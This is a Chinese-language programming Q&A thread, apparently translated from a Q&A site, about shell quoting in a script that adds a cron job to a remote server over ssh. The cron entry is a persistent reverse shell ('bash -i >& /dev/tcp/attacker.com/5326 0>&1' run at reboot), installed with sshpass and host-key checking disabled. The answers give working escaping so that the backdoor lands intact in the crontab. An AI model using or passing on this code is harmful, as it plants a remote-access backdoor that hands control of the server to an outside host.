我有一个脚本来更新ssh访问的远程服务器中的cron作业。我无法从我的bash脚本中运行的echo命令中将单引号放入cron作业。
这是我在cron作业中需要的确切字符串:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
但我无法让他们“坚持下去”。
这是我的脚本中的一行(其他行正常工作。
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
这次尝试的结果是......
@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
...缺少引号。
我试过多个双引号。双引号内的单引号。斜杠。
在这种情况下如何在我的脚本中放置单引号,以便它们最终在cron作业上?
如果你不需要它漂亮,你可以要求Bash这样做:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
该脚本的输出是:
The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
事实上,如果你复制粘贴该命令,你会发现一个文件TEMPFILENAME
包含:
@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
反过来,当复制粘贴到提示符时将设置反向shell。
您可以尝试使用'\'转义单引号吗?
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"